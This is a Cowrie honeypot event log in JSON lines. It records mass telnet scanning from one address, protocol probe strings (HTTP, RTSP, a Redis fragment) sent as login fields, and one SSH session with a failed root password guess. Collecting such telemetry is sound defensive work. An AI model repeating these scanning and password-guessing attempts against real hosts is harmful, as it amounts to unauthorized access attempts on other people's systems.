{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":24244,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e75f30737b2","protocol":"telnet","message":"New connection: 34.62.101.89:24244 (159.203.135.109:23) [session: 7e75f30737b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:29:54.166591Z"}
{"eventid":"cowrie.session.closed","duration":0.0051000118255615234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:29:54.171582Z","src_ip":"34.62.101.89","session":"7e75f30737b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":24252,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab6871f0dba2","protocol":"telnet","message":"New connection: 34.62.101.89:24252 (159.203.135.109:23) [session: ab6871f0dba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:29:54.322908Z"}
{"eventid":"cowrie.session.closed","duration":6.348103284835815,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:00.360271Z","src_ip":"34.62.101.89","session":"9ed9a52fe436","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":24262,"dst_ip":"159.203.135.109","dst_port":23,"session":"b356a25d35e9","protocol":"telnet","message":"New connection: 34.62.101.89:24262 (159.203.135.109:23) [session: b356a25d35e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:03.484784Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:03.491152Z","src_ip":"34.62.101.89","session":"b356a25d35e9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:03.511710Z","src_ip":"34.62.101.89","session":"b356a25d35e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.11467337608337402,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:03.599322Z","src_ip":"34.62.101.89","session":"b356a25d35e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":24268,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e60d9bc6377","protocol":"telnet","message":"New connection: 34.62.101.89:24268 (159.203.135.109:23) [session: 8e60d9bc6377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:03.674987Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39756,"dst_ip":"159.203.135.109","dst_port":23,"session":"18f23b456269","protocol":"telnet","message":"New connection: 34.62.101.89:39756 (159.203.135.109:23) [session: 18f23b456269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:03.849419Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39762,"dst_ip":"159.203.135.109","dst_port":23,"session":"38759b472e1c","protocol":"telnet","message":"New connection: 34.62.101.89:39762 (159.203.135.109:23) [session: 38759b472e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:04.006482Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39774,"dst_ip":"159.203.135.109","dst_port":23,"session":"02845b151bf8","protocol":"telnet","message":"New connection: 34.62.101.89:39774 (159.203.135.109:23) [session: 02845b151bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:04.163833Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39786,"dst_ip":"159.203.135.109","dst_port":23,"session":"52bd1beb1168","protocol":"telnet","message":"New connection: 34.62.101.89:39786 (159.203.135.109:23) [session: 52bd1beb1168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:04.320220Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39792,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e1a650c66b5","protocol":"telnet","message":"New connection: 34.62.101.89:39792 (159.203.135.109:23) [session: 3e1a650c66b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:04.481682Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39802,"dst_ip":"159.203.135.109","dst_port":23,"session":"adbcb816ad2f","protocol":"telnet","message":"New connection: 34.62.101.89:39802 (159.203.135.109:23) [session: adbcb816ad2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:04.637831Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39808,"dst_ip":"159.203.135.109","dst_port":23,"session":"39395927088d","protocol":"telnet","message":"New connection: 34.62.101.89:39808 (159.203.135.109:23) [session: 39395927088d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:04.796992Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39822,"dst_ip":"159.203.135.109","dst_port":23,"session":"434f26c41031","protocol":"telnet","message":"New connection: 34.62.101.89:39822 (159.203.135.109:23) [session: 434f26c41031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:04.964742Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39830,"dst_ip":"159.203.135.109","dst_port":23,"session":"09f44823214a","protocol":"telnet","message":"New connection: 34.62.101.89:39830 (159.203.135.109:23) [session: 09f44823214a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:05.197331Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39840,"dst_ip":"159.203.135.109","dst_port":23,"session":"27b5da2d333e","protocol":"telnet","message":"New connection: 34.62.101.89:39840 (159.203.135.109:23) [session: 27b5da2d333e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:05.353046Z"}
{"eventid":"cowrie.session.closed","duration":0.006582975387573242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:05.359437Z","src_ip":"34.62.101.89","session":"27b5da2d333e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39850,"dst_ip":"159.203.135.109","dst_port":23,"session":"a30750741189","protocol":"telnet","message":"New connection: 34.62.101.89:39850 (159.203.135.109:23) [session: a30750741189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:05.511517Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39854,"dst_ip":"159.203.135.109","dst_port":23,"session":"664343811c23","protocol":"telnet","message":"New connection: 34.62.101.89:39854 (159.203.135.109:23) [session: 664343811c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:05.670797Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39862,"dst_ip":"159.203.135.109","dst_port":23,"session":"f54119dbd792","protocol":"telnet","message":"New connection: 34.62.101.89:39862 (159.203.135.109:23) [session: f54119dbd792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:05.829203Z"}
{"eventid":"cowrie.session.closed","duration":34.724687337875366,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:05.902138Z","src_ip":"69.4.83.194","session":"50db511c3e1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39866,"dst_ip":"159.203.135.109","dst_port":23,"session":"a19ca7e749c1","protocol":"telnet","message":"New connection: 34.62.101.89:39866 (159.203.135.109:23) [session: a19ca7e749c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:05.986186Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":34518,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a6a2cf5257e","protocol":"telnet","message":"New connection: 79.139.59.21:34518 (159.203.135.109:23) [session: 2a6a2cf5257e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:06.138711Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39870,"dst_ip":"159.203.135.109","dst_port":23,"session":"31bee9c43a6a","protocol":"telnet","message":"New connection: 34.62.101.89:39870 (159.203.135.109:23) [session: 31bee9c43a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:06.160009Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39884,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fa0345a0ad8","protocol":"telnet","message":"New connection: 34.62.101.89:39884 (159.203.135.109:23) [session: 8fa0345a0ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:06.319097Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39892,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bf48b0e4bc7","protocol":"telnet","message":"New connection: 34.62.101.89:39892 (159.203.135.109:23) [session: 3bf48b0e4bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:06.474687Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39894,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c0918b7965e","protocol":"telnet","message":"New connection: 34.62.101.89:39894 (159.203.135.109:23) [session: 6c0918b7965e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:06.632949Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39908,"dst_ip":"159.203.135.109","dst_port":23,"session":"db6505f4a1d9","protocol":"telnet","message":"New connection: 34.62.101.89:39908 (159.203.135.109:23) [session: db6505f4a1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:06.797561Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:06.805279Z","src_ip":"34.62.101.89","session":"db6505f4a1d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39910,"dst_ip":"159.203.135.109","dst_port":23,"session":"129387dfe586","protocol":"telnet","message":"New connection: 34.62.101.89:39910 (159.203.135.109:23) [session: 129387dfe586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:06.961102Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39926,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccabbe2ce169","protocol":"telnet","message":"New connection: 34.62.101.89:39926 (159.203.135.109:23) [session: ccabbe2ce169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:07.117244Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39928,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa6e69c349e9","protocol":"telnet","message":"New connection: 34.62.101.89:39928 (159.203.135.109:23) [session: fa6e69c349e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:07.287582Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39932,"dst_ip":"159.203.135.109","dst_port":23,"session":"324ccbfac6ed","protocol":"telnet","message":"New connection: 34.62.101.89:39932 (159.203.135.109:23) [session: 324ccbfac6ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:07.464853Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39942,"dst_ip":"159.203.135.109","dst_port":23,"session":"744049947abd","protocol":"telnet","message":"New connection: 34.62.101.89:39942 (159.203.135.109:23) [session: 744049947abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:07.619855Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39952,"dst_ip":"159.203.135.109","dst_port":23,"session":"0be4701f08c5","protocol":"telnet","message":"New connection: 34.62.101.89:39952 (159.203.135.109:23) [session: 0be4701f08c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:07.779030Z"}
{"eventid":"cowrie.session.closed","duration":0.006304264068603516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:07.785190Z","src_ip":"34.62.101.89","session":"0be4701f08c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39958,"dst_ip":"159.203.135.109","dst_port":23,"session":"533b0f8daab8","protocol":"telnet","message":"New connection: 34.62.101.89:39958 (159.203.135.109:23) [session: 533b0f8daab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:07.936534Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39974,"dst_ip":"159.203.135.109","dst_port":23,"session":"6843497d042f","protocol":"telnet","message":"New connection: 34.62.101.89:39974 (159.203.135.109:23) [session: 6843497d042f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:08.113464Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 8476","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 8476] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:08.124452Z","src_ip":"34.62.101.89","session":"6843497d042f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":39988,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2ae101c8d88","protocol":"telnet","message":"New connection: 34.62.101.89:39988 (159.203.135.109:23) [session: f2ae101c8d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:08.284755Z"}
{"eventid":"cowrie.session.closed","duration":0.006580352783203125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:08.291174Z","src_ip":"34.62.101.89","session":"f2ae101c8d88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.111741781234741,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.225073Z","src_ip":"34.62.101.89","session":"6843497d042f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.61249041557312,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.231825Z","src_ip":"34.62.101.89","session":"744049947abd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.779116868972778,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.243839Z","src_ip":"34.62.101.89","session":"324ccbfac6ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.966396331787109,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.253843Z","src_ip":"34.62.101.89","session":"fa6e69c349e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.141968488693237,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.258501Z","src_ip":"34.62.101.89","session":"ccabbe2ce169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.304466485977173,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.265395Z","src_ip":"34.62.101.89","session":"129387dfe586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.474306106567383,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.271703Z","src_ip":"34.62.101.89","session":"db6505f4a1d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.6434855461120605,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.276273Z","src_ip":"34.62.101.89","session":"6c0918b7965e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.806865453720093,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.281411Z","src_ip":"34.62.101.89","session":"3bf48b0e4bc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.3522443771362305,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.288611Z","src_ip":"34.62.101.89","session":"533b0f8daab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.9754393100738525,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.294404Z","src_ip":"34.62.101.89","session":"8fa0345a0ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.142698764801025,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.302590Z","src_ip":"34.62.101.89","session":"31bee9c43a6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.321086645126343,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.307127Z","src_ip":"34.62.101.89","session":"a19ca7e749c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.482365131378174,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.311404Z","src_ip":"34.62.101.89","session":"f54119dbd792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.649792671203613,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.320486Z","src_ip":"34.62.101.89","session":"664343811c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.824077367782593,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.335357Z","src_ip":"34.62.101.89","session":"a30750741189","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.150504112243652,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.347573Z","src_ip":"34.62.101.89","session":"09f44823214a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.387134313583374,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.351736Z","src_ip":"34.62.101.89","session":"434f26c41031","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.069091796875,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.391856Z","src_ip":"34.62.101.89","session":"ab6871f0dba2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.599928617477417,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.396799Z","src_ip":"34.62.101.89","session":"39395927088d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.763245582580566,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.400915Z","src_ip":"34.62.101.89","session":"adbcb816ad2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.923890113830566,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.405344Z","src_ip":"34.62.101.89","session":"3e1a650c66b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.092872142791748,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.412941Z","src_ip":"34.62.101.89","session":"52bd1beb1168","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.254164457321167,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.417855Z","src_ip":"34.62.101.89","session":"02845b151bf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.41555666923523,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.421898Z","src_ip":"34.62.101.89","session":"38759b472e1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.577816247940063,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.427074Z","src_ip":"34.62.101.89","session":"18f23b456269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.759877681732178,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:12.434737Z","src_ip":"34.62.101.89","session":"8e60d9bc6377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":38222,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b75a0e69e26","protocol":"ssh","message":"New connection: 77.94.47.83:38222 (10.17.0.5:22) [session: 7b75a0e69e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:14.447380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:14.457422Z","src_ip":"77.94.47.83","session":"7b75a0e69e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:14.566126Z","src_ip":"77.94.47.83","session":"7b75a0e69e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14041987","message":"login attempt [root/14041987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:14.887411Z","src_ip":"77.94.47.83","session":"7b75a0e69e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:15.998045Z","src_ip":"77.94.47.83","session":"7b75a0e69e26","protocol":"ssh"}
